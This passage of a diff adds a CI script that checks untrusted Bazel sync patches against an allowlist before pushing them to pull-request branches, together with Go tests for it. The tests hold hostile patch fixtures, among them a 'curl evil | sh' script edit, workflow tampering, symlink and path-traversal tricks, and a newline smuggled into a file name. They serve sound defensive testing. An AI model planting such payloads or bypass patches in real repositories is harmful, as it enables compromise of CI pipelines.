PR. +# A hostile patch can therefore at most rewrite Bazel build files on its own +# PR branch, which its author could push there anyway. +# +# Usage: +# bazel-autofix-push.sh validate, then push or comment (env below) +# bazel-autofix-push.sh --check P validate patch P only; exit 0 if acceptable +# +# Inputs (environment): +# BASE_REPO base "owner/name" (e.g. gastownhall/beads) +# HEAD_REPO PR head "owner/name" (same as BASE_REPO for branch PRs; +# may be empty if the head fork was deleted) +# HEAD_BRANCH PR head branch name +# HEAD_SHA head commit the failing run was built from +# PATCH_FILE path to the downloaded bazel-sync.patch +# META_FILE optional bazel-sync-meta.txt from the same artifact; untrusted, +# used only to skip a patch whose head_sha disagrees with HEAD_SHA +# RUN_ID workflow run id that produced the patch (for comment text) +# RUN_URL html url of that run (for commit/comment provenance) +# GH_TOKEN token for gh api calls (PR lookup, comments) - needs the +# workflow's pull-requests:write; never the PAT +# PUSH_TOKEN token for git fetch/push only (optional; defaults to +# GH_TOKEN), so the shared DOCS_AUTOFIX_TOKEN needs +# contents:write only +# AUTOFIX_TOKEN_KIND "pat" when a dedicated push token is in use, "default" +# for the workflow's GITHUB_TOKEN (retrigger caveat) +# +# Exit 0 on every non-actionable outcome (PR closed, head moved, no patch); +# exit 1 on a refused patch or a genuine error so the workflow surfaces them. + +set -euo pipefail +if ((BASH_VERSINFO[0] < 4)); then + echo "bazel-autofix-push.sh: bash >= 4 required (associative arrays)" >&2 + exit 2 +fi +export LC_ALL=C +# Nothing from the PR tree may run: no LFS smudge, no prompts. +export GIT_LFS_SKIP_SMUDGE=1 GIT_TERMINAL_PROMPT=0 + +COMMENT_MARKER="" +AUTOFIX_SUBJECT="build(bazel): auto-sync BUILD files" +# Comments are only ever edited when this account wrote them: anyone can post +# a comment that starts with the marker. +COMMENT_AUTHOR="github-actions[bot]" + +# Files `make bazel-sync` may write and this bot may push - keep identical to +# scripts/ci/bazel-sync-patch.sh (scripts/ci_workflow_test.go checks). Every +# segment starts with a conservative non-dot character: no traversal, no +# .github/, no metacharacters or quoted names can slip through. +BUILD_FILE_RE='^([A-Za-z0-9_+-][A-Za-z0-9_.+-]*/)*BUILD\.bazel$' + +path_allowed() { + case "$1" in + MODULE.bazel | MODULE.bazel.lock) return 0 ;; + third_party/*) return 1 ;; + esac + [[ "$1" =~ $BUILD_FILE_RE ]] +} + +# Every git call: no hooks, whatever config a clone might carry. +git_() { + git -c core.hooksPath=/dev/null -c core.fsmonitor=false "$@" +} + +# validate_patch FILE: refuse anything but plain text edits to regular files +# that path_allowed accepts. Shared verbatim with docs-autofix-push.sh +# (scripts/ci_workflow_test.go checks). +validate_patch() { + local file="$1" line path names bad="" count=0 + # No mode change, symlink, rename or copy, binary hunk. ANY line starting + # "rename " or "copy " is refused: git apply also accepts the legacy + # "rename old"/"rename new" headers, which name a second path. + if grep -qE '^(old mode|new mode|similarity index|dissimilarity index|rename |copy |GIT binary patch|Binary files )' "$file"; then + echo "REFUSED: patch contains a mode change, rename/copy or binary hunk." + return 1 + fi + if grep -E '^(new file mode|deleted file mode) ' "$file" | grep -qvE '^(new file mode|deleted file mode) 100644$'; then + echo "REFUSED: patch creates or deletes a non-regular (symlink/executable/submodule) file." + return 1 + fi + # Every index line, whatever its ids look like, must be "index A..B" or + # "index A..B 100644"; a malformed id cannot hide a mode from this check. + if grep -E '^index ' "$file" | grep -qvE '^index [0-9a-f]+\.\.[0-9a-f]+( 100644)?$'; then + echo "REFUSED: patch has an index line that is not a regular 100644 file." + return 1 + fi + # --summary is git's own view of creations, deletions, renames, copies, + # mode changes and rewrites; only 100644 creations/deletions may appear. + if ! names="$(git apply --summary "$file")"; then + echo "REFUSED: git apply cannot parse the patch." + return 1 + fi + while IFS= read -r line; do + case "$line" in + "") continue ;; + " create mode 100644 "*) path="${line# create mode 100644 }" ;; + " delete mode 100644 "*) path="${line# delete mode 100644 }" ;; + *) + echo "REFUSED: patch summary has an unexpected entry: $line" + return 1 + ;; + esac + path_allowed "$path" || bad="${bad} ${path}\n" + done <<<"$names" + # --numstat -z prints "addeddeletedNAME" with NAME raw + # (never quoted) and, for a rename, only the NEW name - hence the header + # and --summary checks above. The last read field keeps any tab/newline. + names="$(mktemp)" + if ! git apply --numstat -z "$file" >"$names"; then + rm -f "$names" + echo "REFUSED: git apply cannot parse the patch." + return 1 + fi + while IFS=$'\t' read -r -d '' _ _ path; do + count=$((count + 1)) + path_allowed "$path" || bad="${bad} ${path}\n" + done <"$names" + rm -f "$names" + if [ "$count" -eq 0 ]; then + echo "REFUSED: patch names no files." + return 1 + fi + if [ -n "$bad" ]; then + printf 'REFUSED: patch touches paths outside the allowlist:\n%b' "$bad" + return 1 + fi +} + +# check_staged COMMIT: the index (after git apply --cached) differs from +# COMMIT only by regular-file adds/edits/deletes of allowlisted paths. Sets +# STAGED_PATHS. Shared verbatim with docs-autofix-push.sh. +check_staged() { + local base="$1" meta path raw src_mode dst_mode status err="" + STAGED_PATHS=() + raw="$(mktemp)" + # -z --raw records: ":SRCMODE DSTMODE SRCSHA DSTSHA STATUSPATH". + git_ diff-index --cached --raw --no-renames -z "$base" >"$raw" + while IFS= read -r -d '' meta && IFS= read -r -d '' path; do + read -r src_mode dst_mode _ _ status <<<"$meta" + case "$src_mode $dst_mode $status" in + ":100644 100644 M" | ":000000 100644 A" | ":100644 000000 D") ;; + *) err="REFUSED: staged change is not a regular-file edit: $meta $path" && break ;; + esac + if ! path_allowed "$path"; then + err="REFUSED: staged change outside the allowlist: $meta $path" && break + fi + STAGED_PATHS+=("$path") + done <"$raw" + rm -f -- "$raw" + if [ -n "$err" ]; then + echo "$err" + return 1 + fi +} + +if [ "${1:-}" = "--check" ]; then + [ -s "${2:-}" ] || { echo "usage: $0 --check " >&2; exit 2; } + validate_patch "$2" + echo "OK: patch touches only allowlisted Bazel build files." + exit 0 +fi + +if [ -z "${HEAD_REPO:-}" ] || [ -z "${HEAD_BRANCH:-}" ]; then + echo "Head repository/branch unavailable (deleted fork?); nothing to do." + exit 0 +fi +: "${BASE_REPO:?}" "${HEAD_SHA:?}" +: "${PATCH_FILE:?}" "${RUN_ID:?}" "${RUN_URL:?}" "${GH_TOKEN:?}" +AUTOFIX_TOKEN_KIND="${AUTOFIX_TOKEN_KIND:-default}" +PUSH_TOKEN="${PUSH_TOKEN:-$GH_TOKEN}" + +if [ ! -s "$PATCH_FILE" ]; then + echo "No patch content; nothing to do." + exit 0 +fi +PATCH_FILE="$(readlink -f "$PATCH_FILE")" +if ! [[ "$HEAD_SHA" =~ ^[0-9a-f]{40}$ ]]; then + echo "HEAD_SHA is not a commit id: $HEAD_SHA" >&2 + exit 1 +fi + +# --- Validate the untrusted patch -------------------------------------------- + +validate_patch "$PATCH_FILE" + +# The metadata can only veto or narrow: a patch built for another head is not +# ours, and its PR number only picks among PRs that already match the event. +META_PR="" +if [ -n "${META_FILE:-}" ] && [ -f "$META_FILE" ]; then + meta_sha="$(sed -n 's/^head_sha=\([0-9a-f]\{40\}\)$/\1/p' "$META_FILE" | head -1)" + if [ -n "$meta_sha" ] && [ "$meta_sha" != "$HEAD_SHA" ]; then + echo "Patch was built for head $meta_sha, not $HEAD_SHA; skipping." + exit 0 + fi + META_PR="$(sed -n 's/^pr=\([1-9][0-9]\{0,9\}\)$/\1/p' "$META_FILE" | head -1)" +fi + +# --- Resolve the PR and confirm the patch is still current ------------------- + +# List-and-filter client side: branch names with URL metacharacters would +# corrupt a ?head= query string, and jq --arg needs no encoding. The PR must +# target this repository. One head branch can back several open PRs (into +# different bases): the metadata's PR number picks among them, and without +# it an ambiguous match is skipped rather than guessed. +PULLS_JSON="$(gh api --paginate "repos/$BASE_REPO/pulls?state=open&per_page=100")" +PR_MATCH="$(printf '%s' "$PULLS_JSON" | jq -r -s --arg repo "$HEAD_REPO" --arg branch "$HEAD_BRANCH" --arg base "$BASE_REPO" --arg pr "$META_PR" \ + 'add | [ .[] | select(.head.ref == $branch and (.head.repo.full_name // "") == $repo + and (.base.repo.full_name // "") == $base) + | select($pr == "" or (.number | tostring) == $pr) ] + | if length == 1 then .[0] | "\(.number)\t\(.head.sha)\t\(.base.ref)" else "\(length)" end')" +case "$PR_MATCH" in + 0) + echo "No open PR for $HEAD_REPO:$HEAD_BRANCH into $BASE_REPO${META_PR:+ numbered #$META_PR}; nothing to do." + exit 0 + ;; + *$'\t'*) IFS=$'\t' read -r PR_NUMBER PR_HEAD_NOW PR_BASE_REF <<<"$PR_MATCH" ;; + *) + echo "$PR_MATCH open PRs use $HEAD_REPO:$HEAD_BRANCH and the patch names none of them; not guessing." + exit 0 + ;; +esac +if [ "$PR_HEAD_NOW" != "$HEAD_SHA" ]; then + echo "PR #$PR_NUMBER head moved ($HEAD_SHA -> $PR_HEAD_NOW); a newer run owns the fix." + exit 0 +fi + +# post_or_update_comment BODY_FILE: edit our own marker comment, else post. +# Shared verbatim with docs-autofix-push.sh. +post_or_update_comment() { + local body_file="$1" + # Capture fully before taking the first id: head -1 on a live --paginate + # stream SIGPIPEs gh under pipefail. + local ids existing + ids="$(gh api --paginate "repos/$BASE_REPO/issues/$PR_NUMBER/comments" \ + --jq ".[] | select(.user.login == \"$COMMENT_AUTHOR\" and (.body | startswith(\"$COMMENT_MARKER\"))) | .id")" + existing="$(printf '%s\n' "$ids" | head -1)" + if [ -n "$existing" ]; then + gh api --method PATCH "repos/$BASE_REPO/issues/comments/$existing" \ + -F body=@"$body_file" >/dev/null + echo "Updated autofix comment $existing on PR #$PR_NUMBER." + else + gh api --method POST "repos/$BASE_REPO/issues/$PR_NUMBER/comments" \ + -F body=@"$body_file" >/dev/null + echo "Posted autofix comment on PR #$PR_NUMBER." + fi +} + +# head_branch_protected: true unless GitHub itself says HEAD_BRANCH has no +# branch protection and no ruleset; an API error counts as protected. The name +# list is a floor, not the check. Shared verbatim with docs-autofix-push.sh. +head_branch_protected() { + local enc protected rules + case "$HEAD_BRANCH" in + main | release/* | gh-readonly-queue/*) return 0 ;; + esac + enc="$(jq -rn --arg b "$HEAD_BRANCH" '$b | @uri')" + protected="$(gh api "repos/$BASE_REPO/branches/$enc" --jq '.protected' 2>/dev/null)" || return 0 + [ "$protected" = "false" ] || return 0 + rules="$(gh api "repos/$BASE_REPO/rules/branches/$enc" --jq 'length' 2>/dev/null)" || return 0 + [ "$rules" = "0" ] || return 0 + return 1 +} + +comment_fallback() { + local reason="$1" + local body + body="$(mktemp)" + cat > "$body" </dev/null; then + echo "Head $HEAD_SHA no longer reachable on $BASE_REPO/$HEAD_BRANCH; skipping." + exit 0 +fi + +# Attribute the patch to the PR: bazel.yml builds the PR MERGE commit, so the +# patch also carries any drift main has. Only files the PR's own changes +# (merge-base..head) can explain are pushed: +# * D/BUILD.bazel when the PR changed a file whose nearest package (the +# closest directory with a BUILD.bazel) is D; for the root package only +# root-level Go/build inputs count, not every path outside a package; +# * MODULE.bazel / MODULE.bazel.lock when it changed go.mod, go.sum or either +# MODULE file; +# * everything when it changed the sync tooling (tools/bazel/, root BUILD.bazel). +MERGE_BASE="$(git_ merge-base refs/autofix/base "$HEAD_SHA" 2>/dev/null || true)" +if [ -z "$MERGE_BASE" ]; then + cd / && comment_fallback "CI could not tell which files this PR changed" + exit 0 +fi +declare -A PKG_DIRS=() PR_PKGS=() +PR_ALL=0 PR_MODULE=0 +while IFS= read -r -d '' path; do + case "$path" in + BUILD.bazel) PKG_DIRS[.]=1 ;; + */BUILD.bazel) PKG_DIRS["${path%/BUILD.bazel}"]=1 ;; + esac +done < <(git_ ls-tree -r -z --name-only "$HEAD_SHA") +PATCH_PATHS=() +while IFS=$'\t' read -r -d '' _ _ path; do + PATCH_PATHS+=("$path") + case "$path" in */BUILD.bazel) PKG_DIRS["${path%/BUILD.bazel}"]=1 ;; esac +done < <(git apply --numstat -z "$PATCH_FILE") +PKG_DIRS[.]=1 +while IFS= read -r -d '' path; do + case "$path" in + go.mod | go.sum | MODULE.bazel | MODULE.bazel.lock) PR_MODULE=1 ;; + BUILD.bazel | tools/bazel/*) PR_ALL=1 ;; + esac + dir="$(dirname -- "$path")" + while [ -z "${PKG_DIRS[$dir]:-}" ]; do dir="$(dirname -- "$dir")"; done + # The walk ends at the root for every path outside a package (docs/, + # .github/, README.md, ...); only the root's own Go and build inputs + # can change what gazelle writes to the root BUILD.bazel. + if [ "$dir" = . ]; then + case "$path" in + */*) continue ;; + *.go | *.s | *.c | *.h | *.bzl | go.mod | go.sum | BUILD.bazel | MODULE.bazel | MODULE.bazel.lock) ;; + *) continue ;; + esac + fi + PR_PKGS["$dir"]=1 +done < <(git_ diff --name-only --no-renames -z "$MERGE_BASE" "$HEAD_SHA") + +OURS=() NOT_OURS=() +for path in "${PATCH_PATHS[@]}"; do + case "$path" in + MODULE.bazel | MODULE.bazel.lock) pkg="" ours=$PR_MODULE ;; + BUILD.bazel) pkg=. ours=0 ;; + *) pkg="${path%/BUILD.bazel}" ours=0 ;; + esac + if [ "$PR_ALL" = 1 ] || [ "$ours" = 1 ] || { [ -n "$pkg" ] && [ -n "${PR_PKGS[$pkg]:-}" ]; }; then + OURS+=("$path") + else + NOT_OURS+=("$path") + fi +done +NOT_OURS_NOTE="" +if [ "${#NOT_OURS[@]}" -gt 0 ]; then + echo "Not pushed (outside what the PR changed, likely base-branch drift):" + printf ' %s\n' "${NOT_OURS[@]}" + NOT_OURS_NOTE="Not pushed, because this PR did not change those packages (likely drift on the base branch; rebasing after it is fixed clears it): $(printf '%s ' "${NOT_OURS[@]}")" +fi +if [ "${#OURS[@]}" -eq 0 ]; then + cd / && comment_fallback "the drift is in files this PR did not change - most likely the base branch is out of sync, so no fix was pushed" + exit 0 +fi + +INCLUDES=() +for path in "${OURS[@]}"; do INCLUDES+=("--include=$path"); done +git_ read-tree "$HEAD_SHA" +if ! git_ -c "$AUTH_CONFIG" apply --cached "${INCLUDES[@]}" "$PATCH_FILE" 2>/dev/null; then + cd / && comment_fallback "the sync patch no longer applies cleanly to the PR head" + exit 0 +fi + +# Belt and braces: what actually got staged must pass the same rules, and +# only include the files attributed to the PR. +check_staged "$HEAD_SHA" +declare -A OURS_SET=() +for path in "${OURS[@]}"; do OURS_SET["$path"]=1; done +for path in "${STAGED_PATHS[@]}"; do + if [ -z "${OURS_SET[$path]:-}" ]; then + echo "REFUSED: staged change not attributed to the PR: $path" + exit 1 + fi +done +if [ "${#STAGED_PATHS[@]}" -eq 0 ]; then + echo "Patch changes nothing on $HEAD_SHA; nothing to push." + exit 0 +fi + +# Circuit breaker, once the PR's own fix is known to be non-empty: if the +# failing head is already one of our autofix commits, the sync is not +# converging - stacking more bot commits would loop. Read from the fetched +# commit (no API); failing to read it counts as non-convergent. +if ! HEAD_SUBJECT="$(git_ log -1 --format=%s "$HEAD_SHA")" || [[ "$HEAD_SUBJECT" == "$AUTOFIX_SUBJECT"* ]]; then + echo "Head $HEAD_SHA is (or may be) an autofix commit; refusing to stack another." + cd / && comment_fallback "the previous auto-fix commit did not fix this PR's own files - please run make bazel-sync on the branch and commit the result" + exit 0 +fi + +TREE="$(git_ write-tree)" +NEW_SHA="$(GIT_AUTHOR_NAME="github-actions[bot]" GIT_COMMITTER_NAME="github-actions[bot]" \ + GIT_AUTHOR_EMAIL="41898282+github-actions[bot]@users.noreply.github.com" \ + GIT_COMMITTER_EMAIL="41898282+github-actions[bot]@users.noreply.github.com" \ + git_ commit-tree "$TREE" -p "$HEAD_SHA" -m "$AUTOFIX_SUBJECT + +Applied from the bazel-sync-patch artifact of $RUN_URL +(\`make bazel-sync\`: gazelle, tools/bazel/go_srcs.py, bazel mod tidy). +Only BUILD.bazel, MODULE.bazel and MODULE.bazel.lock are ever pushed; see +scripts/bazel-autofix-push.sh.")" + +# Leased to HEAD_SHA: if the branch moved at all since the run (including a +# force-push back to an ancestor), the push is refused rather than resurrecting +# commits the author dropped. +if ! git_ -c "$AUTH_CONFIG" push --quiet \ + "--force-with-lease=refs/heads/$HEAD_BRANCH:$HEAD_SHA" \ + origin "$NEW_SHA:refs/heads/$HEAD_BRANCH"; then + cd / + comment_fallback "pushing the fix to $HEAD_BRANCH failed (branch protection or a concurrent push)" + exit 0 +fi +cd / + +echo "Pushed sync commit $NEW_SHA to $BASE_REPO/$HEAD_BRANCH." + +BODY="$(mktemp)" +cat > "$BODY" <> "$BODY" +fi +if [ "$AUTOFIX_TOKEN_KIND" = "default" ]; then + cat >> "$BODY" <<'EOF' + +Note: this commit was pushed with the default workflow token, which does **not** retrigger PR checks - re-run them (or push any commit) to refresh the gate. Configuring the `DOCS_AUTOFIX_TOKEN` repo secret (shared with the docs autofix) removes this step. +EOF +fi +post_or_update_comment "$BODY" +rm -f "$BODY" diff --git a/scripts/bazel_autofix_push_test.go b/scripts/bazel_autofix_push_test.go new file mode 100644 index 000000000..646c34ee6 --- /dev/null +++ b/scripts/bazel_autofix_push_test.go @@ -0,0 +1,1191 @@ +package scripts_test + +import ( + "archive/zip" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// scripts/bazel-autofix-push.sh and scripts/docs-autofix-push.sh run with a +// write token on untrusted patches. These tests feed them real `git diff` +// output (the good case, and every hostile shape the validator exists for) +// and run the full push/comment flow against a local bare repository standing +// in for github.com and a fake gh. + +const docsAutofixPushScript = "scripts/docs-autofix-push.sh" + +// autofixRepo is a repository with a "main" branch (base) and a PR head +// commit on top of it (head); patches are made against head. +type autofixRepo struct { + t *testing.T + git string + dir string + base string + head string +} + +func newAutofixRepo(t *testing.T, files map[string]string, pr func(r *autofixRepo)) *autofixRepo { + t.Helper() + git := requireHostTool(t, "git") + requireAutofixBash(t) + r := &autofixRepo{t: t, git: git, dir: t.TempDir()} + r.run("init", "-q", "-b", "main") + r.run("config", "user.name", "t") + r.run("config", "user.email", "t@example.invalid") + r.run("config", "core.hooksPath", ".git/hooks") + for path, body := range files { + r.write(path, body) + } + r.run("add", "-A") + r.run("commit", "-q", "-m", "base") + r.base = strings.TrimSpace(r.run("rev-parse", "HEAD")) + r.head = r.commit("pr", pr) + return r +} + +// newBazelAutofixRepo: the PR edits cmd/bd and adds internal/newpkg; other/ +// is a package it does not touch. The root is a Go package (beads.go) with +// non-package paths (docs/, README.md) under it. +func newBazelAutofixRepo(t *testing.T) *autofixRepo { + return newAutofixRepo(t, map[string]string{ + "BUILD.bazel": "# root\n", + "beads.go": "package beads\n", + "README.md": "# beads\n", + "docs/guide.md": "# guide\n", + "MODULE.bazel": "module(name = \"beads\")\n", + "MODULE.bazel.lock": "{}\n", + "go.mod": "module example.com/beads\n", + "cmd/bd/BUILD.bazel": "go_library(name = \"bd\")\n", + "cmd/bd/main.go": "package main\n", + "other/BUILD.bazel": "go_library(name = \"other\")\n", + "other/other.go": "package other\n", + ".github/workflows/ci.yml": "name: CI\n", + "scripts/tool.sh": "echo hi\n", + "third_party/patches/BUILD.bazel": "exports_files([])\n", + }, func(r *autofixRepo) { + r.write("cmd/bd/main.go", "package main\n\nimport _ \"example.com/beads/internal/newpkg\"\n") + r.write("internal/newpkg/newpkg.go", "package newpkg\n") + }) +} + +func newDocsAutofixRepo(t *testing.T) *autofixRepo { + return newAutofixRepo(t, map[string]string{ + "docs/CLI_REFERENCE.md": "# CLI\n", + "docs/docs.json": "{}\n", + "docs/cli-reference/bd.md": "# bd\n", + "scripts.sh": "echo hi\n", + ".github/workflows/ci.yml": "name: CI\n", + "cmd/bd/main.go": "package main\n", + }, func(r *autofixRepo) { + r.write("cmd/bd/main.go", "package main // new flag\n") + }) +} + +func (r *autofixRepo) run(args ...string) string { + r.t.Helper() + cmd := exec.Command(r.git, args...) + cmd.Dir = r.dir + cmd.Env = append(os.Environ(), "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null") + out, err := cmd.CombinedOutput() + if err != nil { + r.t.Fatalf("git %v: %v\n%s", args, err, out) + } + return string(out) +} + +func (r *autofixRepo) write(path, body string) { + r.t.Helper() + full := filepath.Join(r.dir, path) + if err := os.MkdirAll(filepath.Dir(full), 0o755); err != nil { + r.t.Fatal(err) + } + if err := os.WriteFile(full, []byte(body), 0o644); err != nil { + r.t.Fatal(err) + } +} + +// commit records edit as a commit on top of the current HEAD, on branch +// name, and returns its id. +func (r *autofixRepo) commit(name string, edit func(r *autofixRepo)) string { + return r.commitMsg(name, name, edit) +} + +func (r *autofixRepo) commitMsg(name, msg string, edit func(r *autofixRepo)) string { + r.t.Helper() + edit(r) + r.run("add", "-A") + r.run("commit", "-q", "-m", msg) + sha := strings.TrimSpace(r.run("rev-parse", "HEAD")) + r.run("branch", "-f", "autofix-test-"+name, sha) + return sha +} + +// variant commits edit on top of the PR head without moving it. +func (r *autofixRepo) variant(name string, edit func(r *autofixRepo)) string { + return r.commitOn(r.head, name, name, edit) +} + +// commitOn commits edit, with subject msg, on top of parent and returns to +// the PR head. +func (r *autofixRepo) commitOn(parent, name, msg string, edit func(r *autofixRepo)) string { + r.t.Helper() + r.run("checkout", "-q", "--detach", parent) + sha := r.commitMsg(name, msg, edit) + r.run("checkout", "-q", "--detach", r.head) + return sha +} + +// patch applies edit to a clean PR-head tree, returns the staged diff as a +// patch file and resets the tree. +func (r *autofixRepo) patch(edit func()) string { + r.t.Helper() + r.run("checkout", "-q", "--detach", r.head) + edit() + r.run("add", "-A") + diff := r.run("diff", "--cached", "--binary") + r.run("reset", "-q", "--hard", r.head) + r.run("clean", "-qfdx") + return writeRawPatch(r.t, diff) +} + +func writeRawPatch(t *testing.T, body string) string { + t.Helper() + file := filepath.Join(t.TempDir(), "autofix.patch") + if err := os.WriteFile(file, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + return file +} + +// requireAutofixBash skips when bash cannot run the autofix scripts: they run +// on Linux runners and use bash 4 associative arrays, and macOS runners ship +// /bin/bash 3.2. +func requireAutofixBash(t *testing.T) { + t.Helper() + requireHostTool(t, "bash") + if err := exec.Command("bash", "-c", "declare -A probe=()").Run(); err != nil { + t.Skip("bash lacks associative arrays (bash >= 4 required)") + } +} + +func runAutofixCheck(t *testing.T, script, dir, patch string) (string, error) { + t.Helper() + requireAutofixBash(t) + if !filepath.IsAbs(script) { + script = filepath.Join(sourceRepoRoot(t), script) + } + cmd := exec.Command("bash", script, "--check", patch) + cmd.Dir = dir + out, err := cmd.CombinedOutput() + return string(out), err +} + +// Hostile patch shapes that do not depend on the allowlist: the reviewer's +// rename/copy/index-mode bypasses, with an allowlisted target (target) and a +// forbidden source (source). +func hostileHeaderPatches(t *testing.T, source, target string) map[string]string { + return map[string]string{ + // git apply accepts the legacy headers; --numstat then names only the + // new (allowlisted) path. + "legacy rename old/new": writeRawPatch(t, "diff --git a/"+source+" b/"+target+"\n"+ + "rename old "+source+"\nrename new "+target+"\n"), + "rename from/to without similarity": writeRawPatch(t, "diff --git a/"+source+" b/"+target+"\n"+ + "rename from "+source+"\nrename to "+target+"\n"), + "copy from/to": writeRawPatch(t, "diff --git a/"+source+" b/"+target+"\n"+ + "copy from "+source+"\ncopy to "+target+"\n"), + "legacy rename with hunk": writeRawPatch(t, "diff --git a/"+source+" b/"+target+"\n"+ + "rename old "+source+"\nrename new "+target+"\n--- a/"+source+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"), + "non-hex index mode": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+ + "index zz..yy 100755\n--- a/"+target+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"), + "index mode 100755": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+ + "index 1234567..89abcde 100755\n--- a/"+target+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"), + "index symlink mode": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+ + "index 1234567..89abcde 120000\n--- a/"+target+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"), + "index line with trailing junk": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+ + "index 1234567..89abcde 100644 x\n--- a/"+target+"\n+++ b/"+target+"\n@@ -1 +1 @@\n-x\n+y\n"), + "symlink new file": writeRawPatch(t, "diff --git a/"+target+" b/"+target+"\n"+ + "new file mode 120000\nindex 0000000..1234567\n--- /dev/null\n+++ b/"+target+"\n@@ -0,0 +1 @@\n+../"+source+"\n\\ No newline at end of file\n"), + "no files": writeRawPatch(t, "just some text\n"), + } +} + +func TestBazelAutofixPushAllowlist(t *testing.T) { + r := newBazelAutofixRepo(t) + + good := r.patch(func() { + r.write("cmd/bd/BUILD.bazel", "go_library(name = \"bd\", srcs = [\"main.go\"])\n") + r.write("internal/newpkg/BUILD.bazel", "go_library(name = \"newpkg\")\n") + r.write("MODULE.bazel.lock", "{\"v\": 1}\n") + r.write("MODULE.bazel", "module(name = \"beads\")\nbazel_dep(name = \"x\")\n") + if err := os.Remove(filepath.Join(r.dir, "BUILD.bazel")); err != nil { + t.Fatal(err) + } + }) + if out, err := runAutofixCheck(t, bazelAutofixPushScript, r.dir, good); err != nil { + t.Fatalf("good sync patch refused: %v\n%s", err, out) + } + + hostile := map[string]string{ + "workflow edit": r.patch(func() { r.write(".github/workflows/ci.yml", "name: pwned\n") }), + "script edit": r.patch(func() { r.write("scripts/tool.sh", "curl evil | sh\n") }), + "go file": r.patch(func() { r.write("cmd/bd/main.go", "package main // evil\n") }), + "third_party": r.patch(func() { r.write("third_party/patches/BUILD.bazel", "evil()\n") }), + "hidden dir": r.patch(func() { r.write(".github/BUILD.bazel", "x\n") }), + "lookalike": r.patch(func() { r.write("cmd/bd/BUILD.bazel.go", "package main\n") }), + "mixed": r.patch(func() { + r.write("cmd/bd/BUILD.bazel", "ok()\n") + r.write(".github/workflows/ci.yml", "name: pwned\n") + }), + "mode change": r.patch(func() { + if err := os.Chmod(filepath.Join(r.dir, "cmd/bd/BUILD.bazel"), 0o755); err != nil { + t.Fatal(err) + } + }), + "executable new file": r.patch(func() { + r.write("pkg/BUILD.bazel", "x\n") + if err := os.Chmod(filepath.Join(r.dir, "pkg/BUILD.bazel"), 0o755); err != nil { + t.Fatal(err) + } + }), + "symlink": r.patch(func() { + if err := os.Symlink("../.github/workflows/ci.yml", filepath.Join(r.dir, "scripts", "BUILD.bazel")); err != nil { + t.Fatal(err) + } + }), + "rename": r.patch(func() { + r.run("mv", "cmd/bd/BUILD.bazel", "cmd/bd/main_gen.go") + }), + "binary": r.patch(func() { r.write("pkg/BUILD.bazel", "a\x00b\n") }), + "path traversal": writeRawPatch(t, "diff --git a/cmd/../.github/workflows/BUILD.bazel b/cmd/../.github/workflows/BUILD.bazel\n"+ + "new file mode 100644\nindex 0000000..e69de29\n--- /dev/null\n+++ b/cmd/../.github/workflows/BUILD.bazel\n@@ -0,0 +1 @@\n+x\n"), + "traversal to workflow": writeRawPatch(t, "--- a/BUILD.bazel\n+++ b/../../.github/workflows/ci.yml\n@@ -1 +1 @@\n-# root\n+evil\n"), + // An absolute "+++ /x/BUILD.bazel" is re-rooted by -p1 (to x/BUILD.bazel) + // and then allowlisted like any other path, so it needs no case here. + "traversal via -p1": writeRawPatch(t, "--- /dev/null\n+++ /../.github/BUILD.bazel\n@@ -0,0 +1 @@\n+x\n"), + "header mismatch": writeRawPatch(t, "diff --git a/BUILD.bazel b/BUILD.bazel\nindex 1..2 100644\n--- a/BUILD.bazel\n+++ b/.github/workflows/ci.yml\n@@ -1 +1 @@\n-# root\n+evil\n"), + // A newline inside a name would split a newline-separated numstat + // into two allowlisted-looking lines. + "newline in name": writeRawPatch(t, "diff --git \"a/BUILD.bazel\\n1\\t0\\tBUILD.bazel\" \"b/BUILD.bazel\\n1\\t0\\tBUILD.bazel\"\n"+ + "new file mode 100644\nindex 0000000..e69de29\n--- /dev/null\n+++ \"b/BUILD.bazel\\n1\\t0\\tBUILD.bazel\"\n@@ -0,0 +1 @@\n+x\n"), + } + for name, patch := range hostileHeaderPatches(t, ".github/workflows/ci.yml", "foo/BUILD.bazel") { + hostile[name] = patch + } + for name, patch := range hostile { + t.Run(name, func(t *testing.T) { + out, err := runAutofixCheck(t, bazelAutofixPushScript, r.dir, patch) + if err == nil || !strings.Contains(out, "REFUSED") { + body, _ := os.ReadFile(patch) + t.Errorf("hostile patch accepted (err=%v):\n%s\n--- patch ---\n%s", err, out, body) + } + }) + } +} + +func TestDocsAutofixPushAllowlist(t *testing.T) { + r := newDocsAutofixRepo(t) + good := r.patch(func() { + r.write("docs/CLI_REFERENCE.md", "# CLI\n\nnew flag\n") + r.write("docs/cli-reference/bd-new.md", "# new\n") + r.write("docs/docs.json", "{\"a\": 1}\n") + }) + if out, err := runAutofixCheck(t, docsAutofixPushScript, r.dir, good); err != nil { + t.Fatalf("good docs patch refused: %v\n%s", err, out) + } + hostile := map[string]string{ + "workflow edit": r.patch(func() { r.write(".github/workflows/ci.yml", "name: pwned\n") }), + "script edit": r.patch(func() { r.write("scripts.sh", "curl evil | sh\n") }), + "nested": r.patch(func() { r.write("docs/cli-reference/a/b.md", "x\n") }), + // The reviewer's end-to-end bypass on main: scripts.sh renamed to + // an allowlisted doc name. + "rename script to doc": r.patch(func() { + r.run("mv", "scripts.sh", "docs/cli-reference/x.md") + }), + "mode change": r.patch(func() { + if err := os.Chmod(filepath.Join(r.dir, "docs/docs.json"), 0o755); err != nil { + t.Fatal(err) + } + }), + "binary": r.patch(func() { r.write("docs/cli-reference/bin.md", "a\x00b\n") }), + } + for name, patch := range hostileHeaderPatches(t, "scripts.sh", "docs/cli-reference/x.md") { + hostile[name] = patch + } + for name, patch := range hostile { + t.Run(name, func(t *testing.T) { + out, err := runAutofixCheck(t, docsAutofixPushScript, r.dir, patch) + if err == nil || !strings.Contains(out, "REFUSED") { + body, _ := os.ReadFile(patch) + t.Errorf("hostile patch accepted 